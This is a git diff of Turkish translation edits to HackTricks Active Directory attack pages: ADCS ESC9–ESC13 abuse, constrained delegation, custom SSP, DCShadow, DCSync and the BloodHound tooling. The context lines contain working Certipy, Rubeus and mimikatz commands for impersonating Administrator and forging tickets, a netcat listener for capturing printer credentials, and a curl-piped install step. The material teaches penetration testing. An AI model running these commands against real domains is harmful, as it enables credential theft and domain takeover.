ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -412,7 +412,7 @@ Bu bayrağın ayarının önemli hale geldiği koşullar şunlardır: Diyelim ki `John@corp.local`, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip ve amacı `Administrator@corp.local`'ı tehlikeye atmaktır. `Jane@corp.local`'ın kaydolmasına izin verilen `ESC9` sertifika şablonu, `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile yapılandırılmıştır. -İlk olarak, `Jane`'in hash'i, `John`'ın `GenericWrite`'ı sayesinde Shadow Credentials kullanılarak elde edilir: +Başlangıçta, `Jane`'in hash'i, `John`'un `GenericWrite`'ı sayesinde Shadow Credentials kullanılarak elde edilir: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` @@ -420,9 +420,9 @@ Sonrasında, `Jane`'in `userPrincipalName` değeri `Administrator` olarak deği ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Bu değişiklik, `Administrator@corp.local`'ın `Administrator`'ın `userPrincipalName` olarak farklı kalması göz önüne alındığında kısıtlamaları ihlal etmez. +Bu değişiklik, `Administrator@corp.local`'ın `Administrator`'ın `userPrincipalName`'i olarak farklı kalması göz önüne alındığında kısıtlamaları ihlal etmez. -Bunun ardından, zayıf olarak işaretlenmiş `ESC9` sertifika şablonu `Jane` olarak talep edilir: +Bunun ardından, savunmasız olarak işaretlenen `ESC9` sertifika şablonu `Jane` olarak talep edilir: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` @@ -432,7 +432,7 @@ Sertifikanın `userPrincipalName`'inin `Administrator` olarak yansıdığı ve h ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Verilen sertifika ile kimlik doğrulama denemesi artık `Administrator@corp.local` NT hash'ini veriyor. Komut, sertifikanın alan belirtimi eksikliği nedeniyle `-domain ` içermelidir: +Verilen sertifika ile kimlik doğrulama denemesi artık `Administrator@corp.local` NT hash'ini veriyor. Sertifikanın alan belirtimi eksik olduğundan, komut `-domain ` içermelidir: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` @@ -440,10 +440,10 @@ certipy auth -pfx adminitrator.pfx -domain corp.local ### Açıklama -ESC10, etki alanı denetleyicisindeki iki kayıt defteri anahtar değerine atıfta bulunur: +ESC10 tarafından belirtilen iki kayıt defteri anahtar değeri alan denetleyicisinde bulunmaktadır: -- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` altındaki `CertificateMappingMethods` için varsayılan değer `0x18` (`0x8 | 0x10`), daha önce `0x1F` olarak ayarlanmıştı. -- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` altındaki `StrongCertificateBindingEnforcement` için varsayılan ayar `1`, daha önce `0` idi. +- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` altında `CertificateMappingMethods` için varsayılan değer `0x18` (`0x8 | 0x10`), daha önce `0x1F` olarak ayarlanmıştı. +- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` altında `StrongCertificateBindingEnforcement` için varsayılan ayar `1`, daha önce `0` idi. **Durum 1** @@ -453,13 +453,13 @@ ESC10, etki alanı denetleyicisindeki iki kayıt defteri anahtar değerine atıf Eğer `CertificateMappingMethods` `UPN` bitini (`0x4`) içeriyorsa. -### Kötüye Kullanım Durumu 1 +### Suistimal Durumu 1 `StrongCertificateBindingEnforcement` `0` olarak yapılandırıldığında, `GenericWrite` izinlerine sahip bir A hesabı, herhangi bir B hesabını tehlikeye atmak için kullanılabilir. -Örneğin, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip olan bir saldırgan, `Administrator@corp.local` hesabını tehlikeye atmayı hedefler. Prosedür, herhangi bir sertifika şablonunun kullanılmasına izin veren ESC9 ile aynıdır. +Örneğin, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip olan bir saldırgan, `Administrator@corp.local` hesabını tehlikeye atmayı hedefler. Prosedür ESC9'u yansıtır ve herhangi bir sertifika şablonunun kullanılmasına izin verir. -İlk olarak, `Jane`'in hash'i, `GenericWrite`'ı kullanarak Shadow Credentials ile elde edilir. +İlk olarak, `Jane`'in hash'i Shadow Credentials kullanılarak elde edilir, `GenericWrite` suistimal edilerek. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` @@ -503,17 +503,17 @@ Schannel üzerinden kimlik doğrulamak için, Certipy'nin `-ldap-shell` seçene ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -LDAP shell üzerinden, `set_rbcd` gibi komutlar, Kaynak Tabanlı Kısıtlı Delegasyon (RBCD) saldırılarına olanak tanır ve bu durum etki alanı denetleyicisini tehlikeye atabilir. +LDAP shell üzerinden, `set_rbcd` gibi komutlar, Kaynak Tabanlı Kısıtlı Delegasyon (RBCD) saldırılarını etkinleştirir ve bu da etki alanı denetleyicisini tehlikeye atabilir. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Bu zafiyet, `userPrincipalName`'ı olmayan veya `sAMAccountName` ile eşleşmeyen herhangi bir kullanıcı hesabını da kapsar; varsayılan `Administrator@corp.local`, yükseltilmiş LDAP ayrıcalıkları ve varsayılan olarak `userPrincipalName`'ın olmaması nedeniyle önemli bir hedef olmaktadır. +Bu zafiyet, `userPrincipalName` eksik olan veya `sAMAccountName` ile eşleşmeyen herhangi bir kullanıcı hesabını da kapsar; varsayılan `Administrator@corp.local`, yükseltilmiş LDAP ayrıcalıkları ve varsayılan olarak bir `userPrincipalName` olmaması nedeniyle önemli bir hedefdir. ## NTLM'yi ICPR'ye İletme - ESC11 ### Açıklama -Eğer CA Sunucusu `IF_ENFORCEENCRYPTICERTREQUEST` ile yapılandırılmamışsa, RPC hizmeti aracılığıyla imzalamadan NTLM iletme saldırıları gerçekleştirilebilir. [Burada referans](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/) bulunmaktadır. +Eğer CA Sunucusu `IF_ENFORCEENCRYPTICERTREQUEST` ile yapılandırılmamışsa, RPC hizmeti aracılığıyla imzalamadan NTLM iletme saldırıları gerçekleştirilebilir. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). `Enforce Encryption for Requests` devre dışı ise, `certipy` kullanarak durumu belirleyebilirsiniz ve certipy `ESC11` Zafiyetlerini gösterecektir. ```bash @@ -553,7 +553,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -Not: Alan denetleyicileri için, DomainController'da `-template` belirtmeliyiz. +Not: Alan denetleyicileri için DomainController'da `-template` belirtmeliyiz. Veya [sploutchy'nin impacket çatallamasını](https://github.com/sploutchy/impacket) kullanarak: ```bash @@ -619,7 +619,7 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local Bir kullanıcı izni bulun, `certipy find` veya `Certify.exe find /showAllPermissions` kullanabilir. -Eğer `John`, `VulnerableTemplate` için kaydolma iznine sahipse, kullanıcı `VulnerableGroup` grubunun ayrıcalıklarını miras alabilir. +Eğer `John`, `VulnerableTemplate`'i kaydetme iznine sahipse, kullanıcı `VulnerableGroup` grubunun ayrıcalıklarını miras alabilir. Tek yapması gereken şablonu belirtmek, OIDToGroupLink haklarıyla bir sertifika alacaktır. ```bash @@ -627,13 +627,13 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target ``` ## Sertifikalar ile Ormanların Ele Geçirilmesi Pasif Sesle Açıklandı -### Ele Geçirilmiş CA'lar Tarafından Orman Güvenlerinin Kırılması +### Ele Geçirilmiş CA'lar Tarafından Orman Güvenlerinin İhlali -**Çapraz orman kaydı** için yapılandırma oldukça basittir. **Kaynak ormanın kök CA sertifikası**, yöneticiler tarafından **hesap ormanlarına yayımlanır** ve **kaynak ormandan gelen kurumsal CA** sertifikaları, her hesap ormanındaki `NTAuthCertificates` ve AIA konteynerlerine **eklenir**. Bu düzenleme, **kaynak ormandaki CA'nın**, yönettiği PKI için tüm diğer ormanlar üzerinde tam kontrol sahibi olmasını sağlar. Eğer bu CA **saldırganlar tarafından ele geçirilirse**, hem kaynak hem de hesap ormanlarındaki tüm kullanıcılar için sertifikalar **sahte olarak oluşturulabilir**, böylece ormanın güvenlik sınırı kırılmış olur. +**Çapraz orman kaydı** için yapılandırma oldukça basittir. **Kök CA sertifikası**, kaynak ormandan **hesap ormanlarına** yöneticiler tarafından **yayınlanır** ve kaynak ormandan **kurumsal CA** sertifikaları, her hesap ormanındaki `NTAuthCertificates` ve AIA konteynerlerine **eklenir**. Bu düzenleme, **kaynak ormandaki CA'ya**, yönettiği PKI için tüm diğer ormanlar üzerinde tam kontrol sağlar. Eğer bu CA **saldırganlar tarafından ele geçirilirse**, hem kaynak hem de hesap ormanlarındaki tüm kullanıcılar için sertifikalar **onlar tarafından sahte olarak oluşturulabilir**, böylece ormanın güvenlik sınırı ihlal edilmiş olur. ### Yabancı Prensiplere Verilen Kayıt Ayrıcalıkları -Çoklu orman ortamlarında, **sertifika şablonları yayımlayan** Kurumsal CA'lar konusunda dikkatli olunmalıdır; bu şablonlar **Kimlik Doğrulanmış Kullanıcılar veya yabancı prensiplerin** (Kurumsal CA'nın ait olduğu ormanın dışındaki kullanıcılar/gruplar) **kayıt ve düzenleme haklarına** izin verir.\ -Bir güven ilişkisi üzerinden kimlik doğrulama yapıldığında, **Kimlik Doğrulanmış Kullanıcılar SID**'si AD tarafından kullanıcının token'ına eklenir. Dolayısıyla, bir alan, **Kimlik Doğrulanmış Kullanıcılar kayıt haklarına** sahip bir Kurumsal CA'ya sahipse, farklı bir ormandan bir kullanıcı tarafından **bir şablon kaydedilebilir**. Benzer şekilde, eğer **bir şablon tarafından bir yabancı prense açıkça kayıt hakları verilirse**, **çapraz orman erişim kontrol ilişkisi oluşturulur**, bu da bir ormandan bir prensibin **başka bir ormandan bir şablona kaydolmasına** olanak tanır. +Çoklu orman ortamlarında, **sertifika şablonları** yayınlayan Kurumsal CA'lar konusunda dikkatli olunmalıdır; bu şablonlar **Kimlik Doğrulanmış Kullanıcılar veya yabancı prensipler** (Kurumsal CA'nın ait olduğu ormanın dışındaki kullanıcılar/gruplar) için **kayıt ve düzenleme hakları** sağlar.\ +Bir güven ilişkisi üzerinden kimlik doğrulama yapıldığında, **Kimlik Doğrulanmış Kullanıcı SID**'si AD tarafından kullanıcının token'ına eklenir. Dolayısıyla, eğer bir alan, **Kimlik Doğrulanmış Kullanıcıların kayıt haklarına** sahip bir Kurumsal CA'ya sahipse, farklı bir ormandan bir kullanıcı tarafından bir şablon **kayıt edilebilir**. Benzer şekilde, eğer **kayıt hakları bir şablon tarafından açıkça bir yabancı prensipe verilirse**, **çapraz orman erişim kontrol ilişkisi** oluşturulmuş olur; bu da bir ormandan bir prensibin **başka bir ormandan bir şablona kayıt olmasını** sağlar. Her iki senaryo da bir ormandan diğerine **saldırı yüzeyinin artmasına** yol açar. Sertifika şablonunun ayarları, bir saldırgan tarafından yabancı bir alanda ek ayrıcalıklar elde etmek için istismar edilebilir. diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md index 5372e6cf4..82d0e1a1c 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md @@ -8,12 +8,12 @@ Bir sertifikanın CA sertifikası olduğunu nasıl anlarsınız? -Bir sertifikanın CA sertifikası olduğu, birkaç koşulun sağlanması durumunda belirlenebilir: +Bir sertifikanın CA sertifikası olduğu, birkaç koşulun sağlanmasıyla belirlenebilir: - Sertifika, CA sunucusunda depolanır ve özel anahtarı makinenin DPAPI'si veya işletim sistemi destekliyorsa TPM/HSM gibi donanım tarafından korunur. - Sertifikanın Hem Verici (Issuer) hem de Konu (Subject) alanları CA'nın ayırt edici adıyla eşleşir. -- CA sertifikalarında yalnızca "CA Version" uzantısı bulunur. -- Sertifika, Genişletilmiş Anahtar Kullanımı (EKU) alanlarından yoksundur. +- "CA Version" uzantısı yalnızca CA sertifikalarında mevcuttur. +- Sertifikada Genişletilmiş Anahtar Kullanımı (EKU) alanları yoktur. Bu sertifikanın özel anahtarını çıkarmak için, CA sunucusundaki `certsrv.msc` aracı, yerleşik GUI aracılığıyla desteklenen yöntemdir. Ancak, bu sertifika sistemde depolanan diğerlerinden farklı değildir; bu nedenle, [THEFT2 tekniği](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) gibi yöntemler çıkarım için uygulanabilir. diff --git a/src/windows-hardening/active-directory-methodology/ad-dns-records.md b/src/windows-hardening/active-directory-methodology/ad-dns-records.md index 194aafbf4..b75089ac2 100644 --- a/src/windows-hardening/active-directory-methodology/ad-dns-records.md +++ b/src/windows-hardening/active-directory-methodology/ad-dns-records.md @@ -4,7 +4,7 @@ Varsayılan olarak **herhangi bir kullanıcı** Active Directory'de **tüm DNS kayıtlarını** Alan veya Orman DNS alanlarında **listeleyebilir**, bu bir alan transferine benzer (kullanıcılar, bir AD ortamında bir DNS alanının alt nesnelerini listeleyebilir). -Araç [**adidnsdump**](https://github.com/dirkjanm/adidnsdump), iç ağların keşif amaçları için alandaki **tüm DNS kayıtlarının** **listelemesini** ve **dışa aktarılmasını** sağlar. +Araç [**adidnsdump**](https://github.com/dirkjanm/adidnsdump), iç ağların keşif amaçları için alan içindeki **tüm DNS kayıtlarının** **listelemesini** ve **dışa aktarılmasını** sağlar. ```bash git clone https://github.com/dirkjanm/adidnsdump cd adidnsdump diff --git a/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md b/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md index 8c23275c5..b54a38c28 100644 --- a/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md +++ b/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md @@ -3,7 +3,7 @@ İnternette, **varsayılan/zayıf** oturum açma kimlik bilgileriyle yapılandırılmış yazıcıların tehlikelerini **vurgulayan** birkaç blog bulunmaktadır.\ Bu, bir saldırganın yazıcıyı **kötü niyetli bir LDAP sunucusuna kimlik doğrulaması yapmaya kandırabileceği** anlamına gelir (genellikle bir `nc -vv -l -p 444` yeterlidir) ve yazıcının **kimlik bilgilerini açık metin olarak** yakalayabilir. -Ayrıca, birçok yazıcı **kullanıcı adlarıyla günlükler** içerebilir veya hatta **Tüm kullanıcı adlarını** Domain Controller'dan indirebilir. +Ayrıca, birçok yazıcı **kullanıcı adlarıyla günlükler** içerebilir veya hatta **Tüm kullanıcı adlarını** Alan Denetleyicisinden indirebilir. Tüm bu **hassas bilgiler** ve yaygın **güvenlik eksiklikleri**, yazıcıları saldırganlar için çok ilginç hale getirir. diff --git a/src/windows-hardening/active-directory-methodology/bloodhound.md b/src/windows-hardening/active-directory-methodology/bloodhound.md index 24f417b75..04922d295 100644 --- a/src/windows-hardening/active-directory-methodology/bloodhound.md +++ b/src/windows-hardening/active-directory-methodology/bloodhound.md @@ -6,7 +6,7 @@ [AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) Sysinternal Suite'ten gelmektedir: -> Gelişmiş bir Active Directory (AD) görüntüleyici ve düzenleyici. AD Explorer'ı kullanarak bir AD veritabanında kolayca gezinebilir, favori konumlar tanımlayabilir, nesne özelliklerini ve niteliklerini diyalog kutuları açmadan görüntüleyebilir, izinleri düzenleyebilir, bir nesnenin şemasını görüntüleyebilir ve kaydedip yeniden çalıştırabileceğiniz karmaşık aramalar gerçekleştirebilirsiniz. +> Gelişmiş bir Active Directory (AD) görüntüleyici ve düzenleyicisidir. AD Explorer'ı kullanarak bir AD veritabanında kolayca gezinebilir, favori konumlar tanımlayabilir, nesne özelliklerini ve niteliklerini diyalog kutuları açmadan görüntüleyebilir, izinleri düzenleyebilir, bir nesnenin şemasını görüntüleyebilir ve kaydedip yeniden çalıştırabileceğiniz karmaşık aramalar gerçekleştirebilirsiniz. ### Anlık Görüntüler @@ -19,7 +19,7 @@ AD'nin anlık görüntüsünü almak için `File` --> `Create Snapshot` yolunu i ## ADRecon -[**ADRecon**](https://github.com/adrecon/ADRecon) bir AD ortamından çeşitli artefaktları çıkaran ve birleştiren bir araçtır. Bilgiler, analiz kolaylığı sağlamak ve hedef AD ortamının mevcut durumu hakkında bütünsel bir resim sunmak için metriklerle birlikte özet görünümler içeren **özel formatlanmış** Microsoft Excel **raporu** şeklinde sunulabilir. +[**ADRecon**](https://github.com/adrecon/ADRecon), bir AD ortamından çeşitli artefaktları çıkaran ve birleştiren bir araçtır. Bilgiler, analiz kolaylığı sağlamak ve hedef AD ortamının mevcut durumu hakkında bütünsel bir resim sunmak için metriklerle birlikte özet görünümler içeren **özel formatlanmış** Microsoft Excel **raporu** şeklinde sunulabilir. ```bash # Run it .\ADRecon.ps1 @@ -32,7 +32,7 @@ From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundA BloodHound, bir Active Directory veya Azure ortamındaki gizli ve genellikle istenmeyen ilişkileri ortaya çıkarmak için grafik teorisini kullanır. Saldırganlar, BloodHound'u kullanarak, aksi takdirde hızlı bir şekilde tanımlanması imkansız olan son derece karmaşık saldırı yollarını kolayca belirleyebilirler. Savunucular, BloodHound'u kullanarak aynı saldırı yollarını tanımlayıp ortadan kaldırabilirler. Hem mavi hem de kırmızı takımlar, BloodHound'u kullanarak bir Active Directory veya Azure ortamındaki ayrıcalık ilişkilerini daha derinlemesine anlamak için kolayca faydalanabilirler. -Bu nedenle, [Bloodhound ](https://github.com/BloodHoundAD/BloodHound) otomatik olarak bir alanı listeleyebilen, tüm bilgileri kaydedebilen, olası ayrıcalık yükseltme yollarını bulabilen ve tüm bilgileri grafikler kullanarak gösterebilen harika bir araçtır. +Bu nedenle, [Bloodhound ](https://github.com/BloodHoundAD/BloodHound) otomatik olarak bir alanı listeleyebilen, tüm bilgileri kaydedebilen, olası ayrıcalık yükseltme yollarını bulabilen ve tüm bilgileri grafikler kullanarak gösteren harika bir araçtır. BloodHound, 2 ana bölümden oluşur: **ingestors** ve **görselleştirme uygulaması**. @@ -44,7 +44,7 @@ BloodHound, 2 ana bölümden oluşur: **ingestors** ve **görselleştirme uygula BloodHound CE'nin oluşturulmasından sonra, tüm proje Docker ile kullanım kolaylığı için güncellendi. Başlamak için en kolay yol, önceden yapılandırılmış Docker Compose yapılandırmasını kullanmaktır. -1. Docker Compose'u kurun. Bu, [Docker Desktop](https://www.docker.com/products/docker-desktop/) kurulumu ile birlikte gelmelidir. +1. Docker Compose'u kurun. Bu, [Docker Desktop](https://www.docker.com/products/docker-desktop/) kurulumuyla birlikte gelmelidir. 2. Çalıştırın: ``` curl -L https://ghst.ly/getbhce | docker compose -f - up @@ -61,7 +61,7 @@ Birçok seçeneği var ama eğer alan adına katılmış bir PC'den SharpHound'u ./SharpHound.exe --CollectionMethods All Invoke-BloodHound -CollectionMethod All ``` -> **CollectionMethod** ve döngü oturumu hakkında daha fazla bilgi edinebilirsiniz [burada](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained) +> **CollectionMethod** ve döngü oturumu hakkında daha fazla bilgiye [buradan](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained) ulaşabilirsiniz. Farklı kimlik bilgileri kullanarak SharpHound'u çalıştırmak isterseniz, bir CMD netonly oturumu oluşturabilir ve oradan SharpHound'u çalıştırabilirsiniz: ``` @@ -71,8 +71,8 @@ runas /netonly /user:domain\user "powershell.exe -exec bypass" ## Group3r -[**Group3r**](https://github.com/Group3r/Group3r), **Grup Politikası** ile ilişkili Active Directory'deki **açıkları** bulmak için bir araçtır. \ -**group3r'ı** alan içindeki bir hosttan **herhangi bir alan kullanıcısı** ile çalıştırmanız gerekir. +[**Group3r**](https://github.com/Group3r/Group3r) Active Directory ile ilişkili **Grup Politikası** içindeki **açıkları** bulmak için bir araçtır. \ +**group3r'ı** alan içindeki bir hosttan **herhangi bir alan kullanıcısı** ile çalıştırmalısınız. ```bash group3r.exe -f # -s sends results to stdin @@ -80,8 +80,8 @@ group3r.exe -f ``` ## PingCastle -[**PingCastle**](https://www.pingcastle.com/documentation/) **AD ortamının güvenlik durumunu değerlendirir** ve güzel bir **rapor** ile grafikler sunar. +[**PingCastle**](https://www.pingcastle.com/documentation/) **AD ortamının güvenlik durumunu değerlendirir** ve grafiklerle güzel bir **rapor** sunar. -Çalıştırmak için, `PingCastle.exe` ikili dosyasını çalıştırabilir ve seçeneklerin bir menüsünü sunan bir **etkileşimli oturum** başlatır. Kullanılacak varsayılan seçenek **`healthcheck`** olup, **alan** hakkında bir temel **genel bakış** oluşturacak ve **yanlış yapılandırmaları** ve **zayıflıkları** bulacaktır. +Çalıştırmak için, `PingCastle.exe` ikili dosyasını çalıştırabilir ve seçeneklerin bulunduğu bir **etkileşimli oturum** başlatır. Kullanılacak varsayılan seçenek **`healthcheck`** olup, **alan** hakkında bir temel **genel bakış** oluşturacak ve **yanlış yapılandırmaları** ve **zayıflıkları** bulacaktır. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/constrained-delegation.md b/src/windows-hardening/active-directory-methodology/constrained-delegation.md index 671489a46..2719c4a26 100644 --- a/src/windows-hardening/active-directory-methodology/constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/constrained-delegation.md @@ -4,18 +4,18 @@ ## Kısıtlı Delegasyon -Bunu kullanarak bir Domain yöneticisi bir bilgisayarın bir **kullanıcı veya bilgisayarı** bir makinenin **hizmeti** karşısında **taklit etmesine** **izin verebilir**. +Bunu kullanarak bir Domain yöneticisi, bir bilgisayarın bir **kullanıcı veya bilgisayarı** bir makinenin **hizmeti** karşısında **taklit etmesine** **izin verebilir**. - **Kullanıcı için Hizmet (**_**S4U2self**_**):** Eğer bir **hizmet hesabı** _userAccountControl_ değeri [TRUSTED_TO_AUTH_FOR_DELEGATION]() (T2A4D) içeriyorsa, o zaman kendisi (hizmet) adına herhangi bir kullanıcı için bir TGS alabilir. -- **Kullanıcı için Proxy Hizmeti(**_**S4U2proxy**_**):** Bir **hizmet hesabı**, **msDS-AllowedToDelegateTo**'da ayarlanan hizmet için herhangi bir kullanıcı adına bir TGS alabilir. Bunu yapmak için, önce o kullanıcıdan kendisine bir TGS alması gerekir, ancak diğerini talep etmeden önce bu TGS'yi elde etmek için S4U2self kullanabilir. +- **Kullanıcı için Proxy Hizmeti (**_**S4U2proxy**_**):** Bir **hizmet hesabı**, **msDS-AllowedToDelegateTo**'da ayarlanan hizmet için herhangi bir kullanıcı adına bir TGS alabilir. Bunu yapmak için, önce o kullanıcıdan kendisine bir TGS alması gerekir, ancak diğerini talep etmeden önce bu TGS'yi elde etmek için S4U2self kullanabilir. **Not**: Eğer bir kullanıcı AD'de ‘_Hesap hassas ve devredilemez_’ olarak işaretlenmişse, onu **taklit edemezsiniz**. -Bu, eğer **hizmetin hash'ini ele geçirirseniz** kullanıcıları **taklit edebileceğiniz** ve onların adına **hizmete erişim** elde edebileceğiniz anlamına gelir (mümkün **privesc**). +Bu, eğer **hizmetin hash'ini ele geçirirseniz**, **kullanıcıları taklit edebileceğiniz** ve onların adına **hizmete erişim** elde edebileceğiniz anlamına gelir (mümkün **privesc**). -Ayrıca, **kullanıcının taklit edebileceği hizmete** erişiminiz olmayacak, aynı zamanda **herhangi bir hizmete** de erişiminiz olacak çünkü SPN (istenen hizmet adı) kontrol edilmez, sadece ayrıcalıklar kontrol edilir. Bu nedenle, eğer **CIFS hizmetine** erişiminiz varsa, Rubeus'ta `/altservice` bayrağını kullanarak **HOST hizmetine** de erişiminiz olabilir. +Ayrıca, **kullanıcının taklit edebileceği hizmete erişiminiz olmayacak, aynı zamanda herhangi bir hizmete** de erişiminiz olacak çünkü SPN (istenen hizmet adı) kontrol edilmemektedir, yalnızca ayrıcalıklar kontrol edilmektedir. Bu nedenle, eğer **CIFS hizmetine** erişiminiz varsa, Rubeus'ta `/altservice` bayrağını kullanarak **HOST hizmetine** de erişiminiz olabilir. -Ayrıca, **DC üzerindeki LDAP hizmet erişimi**, bir **DCSync**'i istismar etmek için gereklidir. +Ayrıca, **DC'deki LDAP hizmet erişimi**, bir **DCSync**'i istismar etmek için gereklidir. ```bash:Enumerate # Powerview Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto @@ -44,9 +44,9 @@ tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140 .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi ``` > [!WARNING] -> Bilgisayarda SYSTEM olmadan **TGT bileti** veya **RC4** ya da **AES256** elde etmenin **başka yolları** vardır; bunlar arasında Yazıcı Hatası, kısıtlanmamış delegasyon, NTLM ile yönlendirme ve Active Directory Sertifika Servisi istismarı bulunmaktadır. +> Bilgisayarda SYSTEM olmadan **TGT bileti** veya **RC4** ya da **AES256** elde etmenin **başka yolları** vardır; bunlar arasında Yazıcı Hatası, kısıtlanmamış delegasyon, NTLM ile iletim ve Active Directory Sertifika Servisi istismarı bulunmaktadır. > -> **Sadece o TGT biletine (veya hash'ine) sahip olarak, tüm bilgisayarı tehlikeye atmadan bu saldırıyı gerçekleştirebilirsiniz.** +> **Sadece bu TGT biletine (veya hash'ine) sahip olarak, tüm bilgisayarı tehlikeye atmadan bu saldırıyı gerçekleştirebilirsiniz.** ```bash:Using Rubeus #Obtain a TGS of the Administrator user to self .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator diff --git a/src/windows-hardening/active-directory-methodology/custom-ssp.md b/src/windows-hardening/active-directory-methodology/custom-ssp.md index 04416379d..8ed6ddaf3 100644 --- a/src/windows-hardening/active-directory-methodology/custom-ssp.md +++ b/src/windows-hardening/active-directory-methodology/custom-ssp.md @@ -18,7 +18,7 @@ PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packag HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u ``` -`mimilib.dll`'yi Güvenlik Destek Sağlayıcıları listesine (Güvenlik Paketleri) ekleyin: +`mimilib.dll`'yi Güvenlik Destek Sağlayıcı listesine (Güvenlik Paketleri) ekleyin: ```powershell reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" ``` diff --git a/src/windows-hardening/active-directory-methodology/dcshadow.md b/src/windows-hardening/active-directory-methodology/dcshadow.md index 2f75f70c3..ad19fcba3 100644 --- a/src/windows-hardening/active-directory-methodology/dcshadow.md +++ b/src/windows-hardening/active-directory-methodology/dcshadow.md @@ -15,7 +15,7 @@ lsadump::dcshadow /object:username /attribute:Description /value="My new descrip ```bash:mimikatz2 (push) - Needs DA or similar lsadump::dcshadow /push ``` -Dikkat edin ki **`elevate::token`** `mimikatz1` oturumunda çalışmayacak çünkü bu, iş parçacığının ayrıcalıklarını yükseltiyor, ancak **işlemin ayrıcalıklarını** yükseltmemiz gerekiyor.\ +Dikkat edin ki **`elevate::token`** `mimikatz1` oturumunda çalışmayacak çünkü bu, iş parçacığının ayrıcalıklarını yükseltti, ancak biz **işlemin ayrıcalığını** yükseltmemiz gerekiyor.\ Ayrıca bir "LDAP" nesnesi seçebilirsiniz: `/object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local` Değişiklikleri bir DA'dan veya bu minimum izinlere sahip bir kullanıcıdan gönderebilirsiniz: @@ -25,7 +25,7 @@ Değişiklikleri bir DA'dan veya bu minimum izinlere sahip bir kullanıcıdan g - _DS-Replication-Manage-Topology_ (Replikasyon Topolojisini Yönet) - _DS-Replication-Synchronize_ (Replikasyon Senkronizasyonu) - **Yapılandırma konteynerindeki** **Siteler nesnesi** (ve çocukları): -- _CreateChild ve DeleteChild_ +- _CreateChild and DeleteChild_ - **DC olarak kaydedilen** **bilgisayar nesnesi**: - _WriteProperty_ (Yazma değil) - **hedef nesne**: diff --git a/src/windows-hardening/active-directory-methodology/dcsync.md b/src/windows-hardening/active-directory-methodology/dcsync.md index d874010de..da2aa78f1 100644 --- a/src/windows-hardening/active-directory-methodology/dcsync.md +++ b/src/windows-hardening/active-directory-methodology/dcsync.md @@ -4,11 +4,11 @@ ## DCSync -**DCSync** izni, alan üzerinde bu izinlere sahip olmayı gerektirir: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** ve **Replicating Directory Changes In Filtered Set**. +**DCSync** izni, alanın kendisi üzerinde bu izinlere sahip olmayı gerektirir: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** ve **Replicating Directory Changes In Filtered Set**. **DCSync ile ilgili Önemli Notlar:** -- **DCSync saldırısı, bir Alan Denetleyicisinin davranışını simüle eder ve diğer Alan Denetleyicilerinden bilgileri çoğaltmalarını ister** Directory Replication Service Remote Protocol (MS-DRSR) kullanarak. MS-DRSR, Active Directory'nin geçerli ve gerekli bir işlevi olduğundan, kapatılamaz veya devre dışı bırakılamaz. +- **DCSync saldırısı, bir Domain Controller'ın davranışını simüle eder ve diğer Domain Controller'lardan bilgileri çoğaltmalarını ister** Directory Replication Service Remote Protocol (MS-DRSR) kullanarak. MS-DRSR, Active Directory'nin geçerli ve gerekli bir işlevi olduğundan, kapatılamaz veya devre 